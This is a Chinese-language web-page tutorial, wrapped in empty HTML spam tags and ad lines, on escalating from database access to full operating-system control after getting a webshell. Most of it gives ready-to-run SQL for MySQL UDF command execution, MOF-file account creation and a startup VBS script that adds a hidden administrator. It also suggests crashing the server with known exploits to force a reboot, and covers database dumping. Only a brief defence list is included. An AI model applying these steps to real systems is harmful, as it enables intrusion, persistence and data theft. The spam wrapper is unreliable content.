<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                # 數據庫提權到操作系統 攻擊者如果獲取了通過數據庫root權限,是可以通過提權,獲取操作系統最高權限的。 ## 1??Mysql數據庫提權 ### 一、如何獲取mysql賬號密碼 當通過webshell進入服務器后,怎么得到數據庫的賬號密碼呢 1. 查看網站配置文件。 如:conn、config、data、sql、common 、inc等。 2. 查看數據庫物理路徑下的user表文件 目錄為/data/mysql/user.myd和user.myi 密碼是加密的,需要再次進行破解 3. 通過暴力破解得到(hscan、Bruter、hydra、腳本木馬) 如果對外開放3306,即允許遠程連接,可以遠程爆破 補充:mysql開啟root賬號遠程訪問 ```sql mysql> GRANT ALL PRIVILEGES ON*.*TO root@"%"IDENTIFIED BY"root"; mysql> flush privileges; ``` ### 二、利用UDF自身提權 * * * 1. 原理 UDF提權是利用MYSQL的Create Function語句,將MYSQL賬號轉化為系統system權限。 2. 利用條件 * 目標系統是Windows(Win2000,XP,Win2003) * 已經擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數 * 有root賬號和密碼 **利用方式A** 1. 使用工具“mysql綜合利用工具”連接 填寫地址、root賬號、密碼后進行連接 ![mark](http://noah-pic.oss-cn-chengdu.aliyuncs.com/pic/20210806/164305231.png) 2. 導入udf.dll文件 連接成功后,導出DLL文件,導入時請勿必注意導出路徑(一般情況下對任何目錄可寫,無需考慮權限問題),否則在下一步操作中你會看到"No paths allowed for shared library"錯誤。 ``` #不同版本mysql,udf.dll存放路徑不同 #Mysql版本大于5.1版本。 xx\\mysql\\lib\\plugin\\udf.dll 文件夾下。 #Mysql5.1版本默認路徑。 C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll #Mysql版本小于5.1版本。 Windows2003下放置于c:\\windows\\system32\\udf.dll windows2000下放置于c:\\winnt\\system32\\udf.dll ``` **一般Lib、Plugin文件夾需要在webshell先手工建立(也可用NTFS ADS流模式突破進而創建文件夾)** ```sql #查找到mysql的目錄后 select @@basedir; #利用NTFS ADS創建lib目錄 select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; #利用NTFS ADS創建plugin目錄 select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; ``` 3. UDF提權常用命令: ```sql #創建cmdshell函數,如果用3389就需要創建open3389函數,具體有哪些函數看幫助 create function cmdshell returns string soname 'udf.dll'; #創建好函數后,用函數執行系統命令 select cmdshell('net user'); select open3389(); drop function cmdshell; 刪除函數 delete from mysql.func where name='cmdshell' 刪除函數 ``` 使用完成后你可能需要刪除在第二步中導出的DLL,但在刪除DLL前請先刪除你在第三步中創建的函數,否則刪除操作將失敗,刪除第三步中創建的函數的SQL語句為:drop function 創建的函數名; **利用方式B** UDF腳本提權,當mysql不能遠程連接時,可以上傳udf腳本至對方主機,然后通過webshell的方式進行連接操作。 ### 三、利用mof提權 **MOF漏洞工具與腳本實戰:** http://www.myhack58.com/Article/html/3/8/2013/38264.htm 1. 原理 在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要將要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。 2. 利用條件 * mysql用戶具有root權限 * 且可以復制文件到c:/windows/system32/wbem/mof/目錄下 * 關閉了secure-file-priv **利用方式1** 通過工具如“mysql綜合利用工具”直接提取,輸入賬戶密碼連接數據庫后可直接輸入系統命令,創建賬號。 **利用方式2** 通過上傳mof文件,然后在sql中運行的方式 1. 找個可寫目錄,上傳mof文件 假設上傳的目錄為文件夾`C:\\wmpub\\moon.mof` 該mof文件,已經寫死了要創建的賬號密碼等信息 2. 執行sql,轉移文件到系統目錄,等待創建新賬號 ```sql select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof'; ``` 3. 執行完后,驗證賬號 在webshell里執行使用net user查看是否多了一個admin用戶,如果有則說明可以利用,否則就不需要繼續了,注意新建的帳號每隔5分鐘就會新建帳號,刪除帳號的辦法參考上文鏈接 ### 四、通過Mysql把文件寫入啟動項 1. 通過mysql數據庫命令寫入VBS腳本; ```sql mysql>drop database test1; mysql> create database test1; mysql> use test1; mysql> create table a (cmd text); mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")"); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)"); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)"); #注意雙引號和括號以及后面的“0”一定要輸入!我們將用這三條命令來建立一個VBS的腳本程序 ``` ``` 2. 直接通過Webshell的Mysql寫入啟動項; ```sql mysql>select * from a; mysql>select * from a into outfile "c://docume~1//administrator//「開始」菜單//程序//啟動//best.vbs"; ``` 3. 通過MS12-020、MS15-034重啟服務器。 服務器down機后,管理員會重啟,重啟后我們就能得到新建的管理員賬號了 ## 2??微軟Mssql提權 mssql提權主要分為弱口令與溢出兩類提權。目前主要通過弱口令連接直接提權,溢出類Mssql數據庫幾乎很少見(sqlserver2000之后就幾乎沒有了)。 通過漏洞拉到webshell之后,找到網站配置文件,里面有**sa權限**的賬號密碼,配置文件為asp或者aspx網站一般使用微軟自帶數據庫,這個提權沒有sa權限是不能做的,mssql一般是允許遠程連接的,系統庫是master。 有了sa密碼直接利用sqltools工具就可以了 ## 3??如何通過Oracle提權 Oracle數據庫一般與jsp、aspx網站搭配,如果是jsp網站,默認是系統權限,aspx網站默認需要提權。 **提權方法參考:**http://blog.csdn.net/sezvboyrul/article/details/2855401,工具為`oracleshell` ## 4??數據庫安全防范 1. 限止數據庫遠程連接,給數據庫帳戶設置密碼必須>8位以上并數字+字母+特殊符號等。 2. 不要給網站配置root或SA權限。必須給每個網站獨立分配數據庫帳戶并限格控制好權限。 3. 及時升級數據庫補丁。 4. 安裝Waf進行防御。 5. 購買數據庫審計設備 # 數據庫脫庫 ## 1??工具脫庫 通過百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等類似工具。 **優點:** 支持面廣,功能強大,速度度、穩定 **缺點:** 不能支持外鏈 ## 2??腳本脫庫 通過百度查找ASP、PHP、JSP脫庫腳本等類似工具。 **優點:** 解決不外鏈的情況 **缺點:** 速度慢、不夠穩定 ## 3??站點打包 通過百度查找ASP、PHP、JSP腳本打包程序等類似工具。 asp+access源碼和數據庫是可以一起打包,其它類型數據庫,庫與源碼是單獨分開的。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看